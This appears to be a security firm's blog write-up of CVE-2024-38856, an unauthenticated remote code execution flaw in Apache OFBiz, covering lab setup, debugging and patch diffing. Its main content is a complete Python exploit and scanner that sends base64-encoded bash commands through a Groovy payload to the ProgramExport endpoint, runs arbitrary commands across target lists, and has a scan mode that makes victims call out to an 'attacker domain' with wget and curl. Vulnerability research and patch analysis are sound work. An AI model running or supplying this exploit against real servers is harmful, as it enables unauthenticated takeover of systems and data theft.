CVE-2024-38856 – Apache Ofbiz RCE

Windows TCP/IP Vulnerabilities Exploitation Risks
Windows TCP/IP Vulnerabilities Exploitation Risks
September 21, 2024
Mobile Security Testing 101
Mobile Security Testing 101: The Essential Guide
September 30, 2024

September 26, 2024

CVE-2024-38856 is a Remote Code Execution vulnerability identified in Apache OFBiz version 18.12.14. It allows unauthenticated attackers to execute screen rendering code under specific conditions, which can lead to potential remote code execution. This analysis explores the underlying issues and the conditions that make this vulnerability exploitable, as well as the steps necessary to mitigate the risk.

Building The Testing lab

1- Updating the system:

sudo apt update  

2-  Installing java

sudo apt-get install default-jdk

3- Clone the source from the GitHub, repository

git clone https://github.com/apache/ofbiz-framework
cd ofbiz-framework

Then, Build the application 

./gradlew cleanAll
./gradlew build
./gradlew ofbiz --debug-jvm 

The remote debugger allows you to attach and debug an application remotely. To enable this in OFBiz, you need to set it to listen on the port you will attach to by adding the –debug-jvm option.

And, then check it at https://loclahost:8443/webtools/control/checkLogin

Setting the Remote debugger

Open IntelliJ IDEA Go to 

CVE-2024-38856 PoC (Proof Of Concept)

then setting it to Attach the Ofbiz port which is 5005

The POC mentioned that there is path traversal in 

Patch diffing

After doing patch diffing using vimdiff at RequestHandler.java file,  the difference between the vulnerable and patched version  was as the following 

The patch primarily focused on editing the `overrideViewUri` function, replacing it with `viewUri` to prevent potential path traversal attacks. This change ensured that only valid views from the `viewMap` could be accessed, effectively blocking unauthorized access to protected resources, such as `ProgramExport`, which requires authentication. Additionally, the patch removed the `allowDirectViewRendering` and `directViewRenderingWithAuth` checks, which previously allowed the possibility of bypassing authentication. Now, authentication is strictly enforced based on the `requestMap.securityAuth`.

Ensuring that no functionality can be accessed without proper authentication, even if the initial path, such as `main/ProgramExport`, is used. As shown below, `main` doesn’t require authentication because `auth=false` is already set.

Let’s see this change in runtime by debugging Offbiz

The breakpoint on the vulnerable function only, not the whole code 

Start the analysis from the breakpoint which will be at the vulnerable function

As shown in the picture below, the requested URI is `main`, which bypasses security checks since, as explained earlier, `main` does not require authentication. Consequently, the request proceeds without undergoing any authentication checks.

However, the path contains the `ProgramExport` value, which indicates that the security mechanism only checks the URI and not the full path. As a result, `ProgramExport` is not subject to authentication checks, despite being part of the path.

Development of The Exploit

import sys
import base64
import requests
import argparse
import urllib3
from colorama import Fore, Style, init

init(autoreset=True)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def getLogo():
    logo = f"""
{Fore.CYAN}██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██╗  ██╗     ██████╗  █████╗  █████╗ ███████╗ ██████╗ 
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██║  ██║     ╚════██╗██╔══██╗██╔══██╗██╔════╝██╔════╝ 
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗█████╔╝╚█████╔╝╚█████╔╝███████╗███████╗ 
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚═══██╗██╔══██╗██╔══██╗╚════██║██╔═══██╗
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗     ██║     ██████╔╝╚█████╔╝╚█████╔╝███████║╚██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝     ╚═╝     ╚═════╝  ╚════╝  ╚════╝ ╚══════╝ ╚═════╝ 
                                                                                                            
                                                                                                                                                           
                                                                                                                                                              
                    {Fore.RED}Github: https://github.com/securelayer7/CVE-2024-38856_Scanner{Style.RESET_ALL}
                    {Fore.RED}By: Securelayer7(yosef0x01 & Zeyad Azima){Style.RESET_ALL}                                     
    """
    print(logo)

def commandEncoder(command):
    command_with_markers = f'echo [result]; {command}; echo [result];'
    encodedCommand = base64.b64encode(command_with_markers.encode()).decode()
    return encodedCommand

def payloadUnicode(base64EncodedCommand):
    command = f'throw new Exception(["bash", "-c", "{{echo,{base64EncodedCommand}}}|{{base64,-d}}|{{bash,-i}}"].execute().text);'
    unicodePayload = ''.join(f'\\u{ord(c):04x}' for c in command)
    return unicodePayload

def extract_output(response_text):
    start_marker = '[result]'
    end_marker = '[result]'
    
    start_index = response_text.find(start_marker)
    end_index = response_text.find(end_marker, start_index + len(start_marker))
    
    if start_index != -1 and end_index != -1:
        output = response_text[start_index + len(start_marker):end_index].strip()
        return output
    return None

def exploit(target, port, payload, timeout, proxies=None):
    url = f'{target}:{port}/webtools/control/main/ProgramExport'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = f"groovyProgram={payload}"
    try:
        response = requests.post(url, headers=headers, data=data, verify=False, timeout=timeout, proxies=proxies)
        return response.status_code, response.text
    except requests.exceptions.Timeout:
        print(f"{Fore.YELLOW}[!] Request timed out for {target}:{port}{Style.RESET_ALL}")
        return "timeout", ""
    except requests.exceptions.RequestException as e:
        print(f"{Fore.RED}Exception: {e}{Style.RESET_ALL}")
        return "target maybe down", ""

def scan_vulnerability(target, port, domain, timeout, proxies=None):
    scanCommands = [
        f'ping -c 4 {domain}',
        f'wget -O- {domain}',
        f'curl {domain}'
    ]
    
    results = []
    url = f'{target}:{port}/webtools/control/main/ProgramExport'
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    for command in scanCommands:
        encodedCommand = commandEncoder(command)
        unicodePayload = payloadUnicode(encodedCommand)
        data = f"groovyProgram={unicodePayload}"
        try:
            response = requests.post(url, headers=headers, data=data, verify=False, timeout=timeout, proxies=proxies)
            results.append((command, response.status_code))
        except requests.exceptions.Timeout:
            results.append((command, "timeout"))
        except requests.exceptions.RequestException as e:
            results.append((command, f"Exception: {e}"))
    
    return results

def processTarget(target, port, command, timeout, output_file=None, proxies=None, exploit_command=False, domain=None):
    if not exploit_command:
        scan_results = scan_vulnerability(target, port, domain, timeout, proxies)
        vulnerable = False
        for command, status in scan_results:
            if status == "timeout":
                print(f"{Fore.YELLOW}[+] Scan Payload: {command} - Request timed out{Style.RESET_ALL}")
            else:
                print(f"{Fore.CYAN}[+] Scan Payload:{Style.RESET_ALL} {command} {Fore.CYAN}- Status Code:{Style.RESET_ALL} {status}")
                if status == 200:
                    vulnerable = True
        if vulnerable:
            result = f"{Fore.GREEN}[!] Target {target}:{port} is vulnerable.{Style.RESET_ALL}\n\n"
        else:
            result = f"{Fore.RED}[!] Target {target}:{port} is not vulnerable.{Style.RESET_ALL}\n\n"
        save_output(result, output_file)
        return
    
    encodedCommand = commandEncoder(command)
    unicodePayload = payloadUnicode(encodedCommand)
    statusCode, responseText = exploit(target, port, unicodePayload, timeout, proxies)
    output = extract_output(responseText)
    if output:
        result = f"{Fore.GREEN}[!] Exploit output:\n\t[+] Target: {target}, Port: {port}\n\t[+] Status Code: {statusCode}\n\t[+] Output: {command} \n\r\n{Style.RESET_ALL}{output}  \n\n"
    else:
        result = f"{Fore.YELLOW}[!] Exploit executed, but no output found in the response :\n\t[+] Target: {target}, Port: {port}\n\t[+] Status Code: {statusCode}{Style.RESET_ALL}\n\n"
    save_output(result, output_file)

def save_output(output, output_file=None):
    if output_file:
        with open(output_file, 'a') as f:
            f.write(output + '\n')
    else:
        print(output)

def main():
    parser = argparse.ArgumentParser(description='CVE-2024-38856 Apache Ofbiz RCE Scanner Framework.')
    parser.add_argument('-t', '--target', type=str, help='Target host')
    parser.add_argument('-p', '--port', type=int, help='Target port')
    parser.add_argument('-c', '--command', type=str, help='Command to execute (if exploit is performed)')
    parser.add_argument('-s', '--scan', action='store_true', help='Perform a scan to check for vulnerability')
    parser.add_argument('-d', '--domain', type=str, help='Domain (attacker domain) to scan with ping, curl, and wget')
    parser.add_argument('-f', '--file', type=str, help='File containing a list of targets in the format http(s)://target:port')
    parser.add_argument('-O', '--output', type=str, help='Output file to save results')
    parser.add_argument('--proxy', type=str, help='Proxy URL (e.g., http://localhost:8080)')
    parser.add_argument('--exploit', action='store_true', help='Exploit the vulnerability after scanning')
    parser.add_argument('--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    proxies = None
    if args.proxy:
        proxies = {
            "http": args.proxy,
            "https": args.proxy,
        }

    getLogo()
    print(f"{Fore.BLUE}[*] Options Passed:{Style.RESET_ALL}")
    for arg in vars(args):
        print(f"    {Fore.GREEN}{arg}: {getattr(args, arg)}{Style.RESET_ALL}")

    targets = []

    if args.file:
        with open(args.file, 'r') as f:
            targets = [line.strip() for line in f if line.strip()]

    if args.target:
        targets.append(f"{args.target}:{args.port or 8443}")

    if not targets:
        print(f"{Fore.RED}[!] No targets specified. Please provide a target or a file with targets.{Style.RESET_ALL}")
        sys.exit(1)

    for target in targets:
        if args.scan and not args.domain:
            print(f"{Fore.RED}[!] The --domain option is required when using --scan.{Style.RESET_ALL}")
            sys.exit(1)
        
        if '://' in target:
            url_parts = target.split(':')
            target_host = url_parts[0] + ':' + url_parts[1]
            port = url_parts[2] if len(url_parts) > 2 else '8443'
        else:
            target_host = target.split(':')[0]
            port = target.split(':')[1] if ':' in target else '8443'

        processTarget(target_host, port, args.command, args.timeout, args.output, proxies, args.exploit, args.domain)

if __name__ == "__main__":
    main()

Summary of the exploit

The exploit targets Apache OFBiz’s `ProgramExport` endpoint, allowing remote code execution by exploiting inadequate input validation. Attackers encode commands in Base64, embed them into a Groovy script, and transmit them via HTTP POST requests. The script uses Bash to execute the commands, with markers like `[result]` employed to capture responses. This method bypasses security measures, enabling attackers to execute unauthorized commands on the server without authentication. The vulnerability stems from the endpoint’s lack of strict input validation and proper authorization checks.

Scanning & Remediation 

The SecureLayer7 research team has developed a framework to scan and exploit this CVE, found at the following link. To monitor your network on your own, you can use the –scan option with the domain to receive the traffic, if it is vulnerable as seen in the picture below

Also, you can pass a list file by using the –file command and setting a timeout using –timeout to fit your network environment.

Final Thoughts

As seen in this analysis, the vulnerability relies on how the application handles security checks for the requested URI. A single flaw in the authentication process creates a high-risk vulnerability, enabling attackers to bypass security and access critical endpoints. This emphasizes the importance of addressing every small detail in security implementations because even a minor oversight can lead to severe security risks, such as authentication bypass and remote code execution

References:

https://xz.aliyun.com/t/14733?time__1311=GqAh7IqGrhkD%2FWNiQ%3DGQm2lDjrxRE7GbD

https://github.com/Mr-xn/CVE-2024-32113?tab=readme-ov-file

https://y4tacker.github.io/2024/06/23/year/2024/8/Apache-OFBiz-Authentication-Bypass-CVE-2024-38856

https://cwiki.apache.org/confluence/display/OFBIZ/Control+Servlet+Guide#ControlServletGuide-ContextSecurityFilter

https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz+Security+Permissions#OFBizSecurityPermissions-Atservicedefinitionlevel

https://blog.sonicwall.com/en-us/2024/08/sonicwall-discovers-second-critical-apache-ofbiz-zero-day-vulnerability

Discover more from SecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

Subscribe now to keep reading and get access to the full archive.

Continue reading

Enable Notifications OK No thanks